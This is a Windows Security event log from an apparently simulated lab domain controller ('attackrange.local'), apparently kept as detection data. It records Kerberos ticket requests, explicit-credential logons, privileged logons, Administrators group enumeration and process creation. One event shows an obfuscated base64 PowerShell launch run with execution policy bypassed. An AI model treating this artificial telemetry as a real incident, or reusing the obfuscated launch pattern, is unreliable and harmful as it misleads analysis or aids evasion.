	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{98C242A6-69BD-397F-767D-102B2ACC58BC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:32:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257475
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{98C242A6-69BD-397F-767D-102B2ACC58BC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:32:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257474
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:32:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257473
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x50245D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x884
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257472
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x50245D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc64
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257484
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x504
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257483
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x508A05

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:32:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257482
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x508A05
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6689ADF7-8119-E258-A2CE-209FAAE16B3F}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257481
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6689ADF7-8119-E258-A2CE-209FAAE16B3F}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:32:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257480
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6689ADF7-8119-E258-A2CE-209FAAE16B3F}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:32:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257479
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:32:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257490
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf84
	New Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257489
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Windows\servicing\TrustedInstaller.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\servicing\TrustedInstaller.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257488
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:32:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257487
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x350
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:32:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257486
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x554
	New Process Name:	C:\Windows\Temp\C53F4470-1B10-4C6D-BCB7-1CE04783AAB6\DismHost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11a8
	Creator Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Process Command Line:	C:\Windows\TEMP\C53F4470-1B10-4C6D-BCB7-1CE04783AAB6\dismhost.exe {7ADB1F21-1D10-4A02-8A4C-9D2574B9BF30}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257485
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:32:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257491
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x50245D

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x884
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257515
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257514
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{9B2E6142-CC01-5D0B-157F-42EEB976C652}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257513
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{9B2E6142-CC01-5D0B-157F-42EEB976C652}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257512
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{9B2E6142-CC01-5D0B-157F-42EEB976C652}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257511
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257510
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
